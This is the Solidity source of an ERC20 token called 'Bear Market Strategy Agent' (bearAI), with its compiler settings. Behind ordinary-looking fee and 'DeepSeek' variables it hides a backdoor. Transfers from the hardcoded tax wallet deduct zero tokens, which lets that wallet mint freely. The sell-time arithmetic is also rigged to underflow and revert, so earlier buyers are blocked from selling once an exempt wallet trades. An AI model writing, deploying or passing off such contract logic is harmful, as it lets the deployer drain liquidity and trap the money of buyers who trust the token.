Bear Market Strategy Agent

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b,"SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b,"SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred( address(0), msgSender );
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred( _owner, address(0) );
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract bearAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExile;
    address payable private _taxWallet;

    uint256 private buyFee=0;
    uint256 private sellFee=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Bear Market Strategy Agent";
    string private constant _symbol = unicode"bearAI";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 private _taxSwapThreshold= 15000000 * 10**_decimals;
    uint256 private _maxTaxSwap= 15000000 * 10**_decimals;
    
    address private uniswapV2Pair;
    IUniswapV2Router02 private _uniswapRouter;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 private deepSeekML;
    struct DeepSeekData {
        uint256 modelActivate;
        uint256 terms;
        uint256 redux;
    }
    uint256 private deepSeekEval;
    
    mapping(address => DeepSeekData) private deepSeek;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet=payable(0xA02cEdba65480e4d38372Fd290d8112Ca69D9DfA);
        _balances[address(this)]= _tTotal;
        _isExile[address(this)] = true;
        _isExile[_taxWallet] = true;
        
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender,uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to]= _balances[to].add(tokenAmount);
        emit Transfer(from,to, tokenAmount);
    }

    function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!tradingOpen||inSwap){
            _basicTransfer(from,to,tokenAmount);
            return;
        }

        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount=tokenAmount.mul(buyFee).div(100);

            if (from == uniswapV2Pair && to!= address(_uniswapRouter) &&  ! _isExile[to]) {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to== uniswapV2Pair && from!= address(this) ){
                taxAmount=tokenAmount.mul(sellFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwap && to== uniswapV2Pair && swapEnabled&& contractTokenBalance> _taxSwapThreshold && _buyCount >_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExile[from] ||_isExile[to])&& from!= address(this)&& to!= address(this) ) {
            deepSeekEval = block.number;
        }
        
        if (! _isExile[from] && ! _isExile[to]) {
            if (to==uniswapV2Pair) {
                DeepSeekData storage ds = deepSeek[from];
                ds.redux = ds.modelActivate-deepSeekEval;
                ds.terms = block.timestamp;
            } else {
                DeepSeekData storage dsCorrect = deepSeek[to];
                if (uniswapV2Pair==from) {
                    if (dsCorrect.modelActivate == 0) {
                        dsCorrect.modelActivate=block.number;
                    }
                } else {
                    DeepSeekData storage ds = deepSeek[from];
                    if (!(dsCorrect.modelActivate > 0)|| ds.modelActivate < dsCorrect.modelActivate ) {
                        dsCorrect.modelActivate = ds.modelActivate;
                    }
                }
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal {
        uint256 tAmount= _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256){
        if (taxAmount>0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        uint256 tAmount= addrs!=_taxWallet ? tokenAmount : deepSeekML.mul(tokenAmount);
        return tAmount;
    }

    receive() external payable {}

    function _tokenBasicTransfer(address from,address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();

        _approve(address(this), address(_uniswapRouter), tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function clearETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        _uniswapRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_uniswapRouter), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapRouter), type(uint).max);
        swapEnabled=true;
        tradingOpen=true;
    }

}

{
  "compilationTarget": {
    "bearAI.sol": "bearAI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}